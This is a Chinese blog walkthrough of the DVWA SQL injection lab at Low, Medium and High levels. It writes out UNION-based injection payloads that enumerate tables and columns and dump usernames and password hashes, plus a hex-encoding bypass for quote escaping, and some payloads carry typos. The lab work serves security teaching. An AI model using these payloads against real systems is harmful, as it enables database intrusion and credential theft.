DVWA SQL Injection

MySql相关知识

MySQL5.0版本之后,MySQL默认在数据库中存放一个“information_cshema”的数据库,在该数据库中分别有三个表:SCHEMATA、TABLES、COLUMNS

  • SCHEMATA
    存储该用户创建的所有数据库的库名,其中SCHEMA_NAME字段存放数据库库名
  • TABLES
    TABLES表中存储用户创建的所有数据库的库名和表名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名
  • COLUMNS
    COLUMNS表存储用户创建的所有数据库的库名、表名、字段名,其中TABLE_SCHEMA字段存放数据库库名,TABLE_NAME字段存放数据库表名,COLUMN_NAME字段存放数据库字段名

手工注入思路(非盲注)

1.判断是否存在注入点,注入是字符型注入还是数字型注入
2.判断SQL查询语句中的字段数
3.确定回显点
4.获取当前数据库
5.获取当前数据库中的表名
6.获取表中字段名
7.查询字段,获取表中数据

Low

1.判断是否存在注入点,注入是字符型注入还是数字型注入
输入1,页面正常

输入1' and '1'='1 页面正常,判断存在字符型注入
在这里插入图片描述
2.猜解SQL查询语句中的字段数
输入1' and 1 order by 1,2# 查询成功
在这里插入图片描述
输入1' and 1 order by 3# 查询失败,说明执行的SQL查询语句中只有两个字段
在这里插入图片描述

3.确定回显点
输入1' union select 1,2#
在这里插入图片描述
4.获取当前数据库
输入 1' union seecet 1,database()#,查得当前数据库为dvwa
在这里插入图片描述

5.获取数据库表名
输入1' union select 1,table_name from information_schema.tables where table_schema=database()#,查得当前数据库有两个表,guestbook和users
在这里插入图片描述

6.获取表中字段名
输入1' union select 1,column_name from information_schema.columns where table_name='users'#,查得users表中字段:user_id、first_name、last_name、user、password、avatar、last_login、failed_login
在这里插入图片描述

7.查询字段,获取表中数据
输入1' union select user,password from users#,查得user和password的数据
在这里插入图片描述

Medium

前端使用了下拉选择菜单,所以选择使用burp抓包,通过修改参数来提交恶意构造的查询语句
在这里插入图片描述
抓到数据包如下
在这里插入图片描述
将数据包发送到Repeater模块,通过修改参数id来提交构造的查询语句
1.判断是否存在注入点,注入是字符型注入还是数字型注入
修改参数id为1' and '1'='1 页面报错
在这里插入图片描述
修改参数id为1 and 1=1 查询成功,说明存在数字型注入
在这里插入图片描述
2.判断SQL查询语句中的字段数
修改参数id为1 order by 1,2查询成功
在这里插入图片描述
修改参数id为1 order by 1,2,3查询失败,说明执行的SQL查询语句中只有两个字段
在这里插入图片描述
3.确定回显点
修改参数id为1 union select 1,2
在这里插入图片描述
4.获取当前数据库
修改参数id为1 union select 1,database(),查得数据库名为dvwa
在这里插入图片描述
5.获取当前数据库中的表名
修改参数id为1 union select 1,table_name from information_schema.tables where table_schema=database(),查得数据库中有guestbook和users两个表
在这里插入图片描述
获取表中字段名
修改参数id为1 union select 1,column_name from information_schema.columns where table_name='users',查询失败,查看报错信息可知失败原因是'被转义为\'
在这里插入图片描述
可以使用十六进制绕过,修改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273,查询成功,查得字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
在这里插入图片描述
这里为了方便在burp中观察使用了group_concat函数对字段名进行了拼接
7.查询字段,获取表中数据
修改参数id为1 union select user,password from users,查得user和password的数据
在这里插入图片描述

High

虽然High级别的查询提交页面与查询结果显示页面不是同一个,但手工注入过程和Low级别基本一致,这里便不再赘述,将直接演示最后一步查询字段,获取表中数据
输入1' and 1 union select user,password from users#,即可获取user和password的数据
在这里插入图片描述
这里查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,在使用sqlmap时应使用二阶注入选项--sceond-url

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值